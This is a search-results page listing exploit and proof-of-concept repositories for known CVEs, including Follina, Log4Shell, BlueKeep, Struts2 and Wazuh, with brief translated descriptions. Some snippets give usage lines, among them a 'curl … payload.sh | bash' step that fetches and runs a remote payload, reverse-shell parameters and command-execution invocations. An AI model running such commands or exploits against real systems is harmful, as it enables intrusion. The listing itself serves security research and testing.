12903 matches found
Py3-CVE-2017-0785
Py3-CVE-2017-0785 私たちのPOCのドキュメント。...
Follina-Vulnerability-CVE-2022-30190-Exploit-Analysis
Follina-Vulnerability-CVE-2022-30190-Exploit-Analysis Follina（CVE-2022-30190）として知られる Microsoft Office の脆弱性に関する調査。詳細な分析、管理されたラボ環境での概念実証（PoC）エクスプロイト、および緩和策を含みます。教育および研究目的のみで使用してください。...
HiveV5_keystream_decryptor
HiveV5 密钥流解密器 PoC 简介 本文档中分析并引用的 Hive 样本是从此列表中随机选取的，该列表由@rivitna创建，在此向他致以最诚挚的感谢。相关样本可在 VirusTotal 平台上获取。 本文档以 a0h2uih3d2.exe 文件作为参考。 MD5: 15CF5E0DA094ACDD751A513402A8C941 SHA-1: 72E15AC4473903C814E65E3C06F54EB0399580AA SHA-256: 335D2E4A743D059955760ECF2EC25EE86D36AA60B096C9180E860C64EF78EE55...
gerapy-cve-2021-43857
Gerapy CVE-2021-43857 認証済みRCE このリポジトリは、CVE-2021-43857 の概念実証エクスプロイトを含んでいます。これは Gerapy -p -L -P 必要条件 1. Python 3.x 2. requests と pyfiglet pip install requests pyfiglet 3. Netcat nc...
CVE-2017-7269
バッジ ライセンス MIT インストール...
my_vulnerabilities
myvulnerabilities 我将分享一些我报告的漏洞 PoC...
Awesome-CVE-2021-44228
Awesome-CVE-2021-44228 CVE-2021-44228 に関する厳選されたリポジトリリストです。 PoC tangxiaofeng7 https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce christophetd https://github.com/christophetd/log4shell-vulnerable-app jas502n https://github.com/jas502n/Log4j2-CVE-2021-44228...
vulnerability-poc
漏洞 PoC 仓库 精选的高危 CVE 概念验证（PoC）代码、测试实验室和防护规则——专为授权安全测试、渗透测试、CTF 挑战和安全研究 而构建。 由 SeekersLab 团队维护。每个条目均附带仅用于检测的 PoC 脚本、Docker 测试实验室（含存在漏洞和已修复的应用）、双语（英语 / 한국어）文档以及可直接部署的防护规则。 ⚠️ 免责声明 本代码仅供教育目的、授权渗透测试、CTF 挑战和安全研究使用。 请勿在未经明确书面授权的情况下针对任何系统使用这些 PoC。未经授权访问计算机系统属于违法行为。 CVE 索引 2022 年 CVE CVE ID| 严重性| 厂商| 描述...
CVE-2021-26814
CVE-2021-26814 CVE-2021-26814 を悪用し、Wazuh Manager v.4.0.0-4.0.3 のAPIサービスを介してRCEを取得するシンプルなPython PoCです。 実行するには、.pyスクリプトを実行可能にし、必要なパラメータを指定して起動するだけです。 root@kitploit: PoC.py -h -user USERNAME -pwd PASSWORD -lip SRCIP -lport SRCPORT -tip DESTIP -tport DESTPORT 警告 : マネージャ上の wazuh-apid.py ファイルが変更されます!...
CVE-2023-46818
CVE-2023-46818 PoC これは、Egidio Romano（別名 EgiX）がこちらで提供した PoC の Python 実装です。このエクスプロイトはウェブシェルのプロンプトを表示します。完全なインタラクティブシェルを利用するには、コマンドを実行して自分宛てにリバースシェルを送信してください。 使用方法 root@kitploit: python exploit.py http://localhost username password 免責事項 この PoC の作者は、誰の行動に対しても責任を負いません。このエクスプロイトは CTF...
CVE-2024-32019-poc
CVE-2024-32019-poc Netdata ndsudo PoC バイナリをビルド: root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme bashスクリプトを実行: root@kitploit: bash exploit.sh ターゲットマシンで書き込み可能なディレクトリで実行: root@kitploit: curl http://:8000/payload.sh | bash...
CVE-2019-3980
CVE-2019-3980 CVE-2019-3980 のエクスプロイト、win32/c++ で記述（openssl 依存）。https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcsdwDrvInstrce.py の移植版。 手順 この PoC は静的リンクされた openssl ライブラリを必要とします。openssl のインクルードファイルを thirdparty\include\openssl に、ライブラリを thirdparty\libs\openssl$PlatformShortName...
RCE-PoC-CVE-2021-25646
CVE-2021-25646 概念実証（Go版） 概要 このリポジトリは、Apache Druid における深刻なリモートコード実行の脆弱性 CVE-2021-25646 の概念実証（PoC）エクスプロイトを含んでいます。 このエクスプロイトは Go で書かれており、ターミナルを介した対話的なコマンドインジェクションを可能にします。 特徴 対話型コマンドインジェクション: 対話型シェルインターフェースを通じて、脆弱な Apache Druid サーバー上で任意のコマンドを実行できます。 ビルド Go がインストールされている必要があります（バージョン 2.23.4 推奨）。...
cve-2018-12386
Firefox 沙盒化 RCE 漏洞利用 CVE-2018-12386 这是一个针对漏洞 CVE-2018-12386 的简单漏洞利用程序，由 Niklas Baumstark、Samuel Groß 和 Bruno Keith 发现。 这主要是一个我出于兴趣编写的 PoC（概念验证），不包含沙盒绕过，并且仅适用于已知利用程序所用偏移量的特定 Linux 环境（偏移量可在 exploit/offsets.js 中修改）。 该漏洞利用程序适用于 Firefox 62.0.3 及 Firefox ESR 60.2.2 之前的版本。 下载 Firefox 以测试漏洞利用程序 你可以直接从...
struts2-jakarta-inject
CVE-2017-5638 の POC エクスプロイト このエクスプロイトは、自分が所有するシステム、または明示的なテスト権限があるシステムでのみ使用してください インストール Go がすでにインストールされている場合、go get を使用するのがよいでしょう。 go get github.com/Greynad/struts2-jakarta-inject 使用法 単一コマンドの実行 struts2-jakarta-inject -u -c 'id' 疑似対話型シェル struts2-jakarta-inject -u -i...
CVE-2019-0708
CVE-2019-0708 BlueKeep CVE-2019-0708 の PoC エクスプロイト 使用方法: ./PoC.py TARGET IP PORT...
CVE-2023-6019
Python POC（著者のPOCから派生） 使用方法 python3 CVE-2023-6019.py -t 192.168.191.37 -p 9000 -l 192.168.45.xxx -lp 4444...
CVE-2013-3827
CVE-2013-3827 CVE-2013-3827 によるディレクトリトラバーサルを利用してアクセス可能な一般的な設定のためのクイック PoC チェッカー 使い方: 1. ニーズに合わせて traversal.py の内容を変更してください 2. python3 traversal.py...
Joomla-CVE-2015-8562-PHP-POC
Joomla-CVE-2015-8562-PHP-POC JoomlaのCVE-2015-8562脆弱性の概念実証 はじめに このPoCは、exploit-dbで公開されているGaryのPython実装をほぼそのままコピーしたものです。 使い方 インストールは非常に簡単です。 root@kitploit: git clone https://github.com/RobinHoutevelts/Joomla-CVE-2015-8562-PHP-POC.git cd Joomla-CVE-2015-8562-PHP-POC composer install...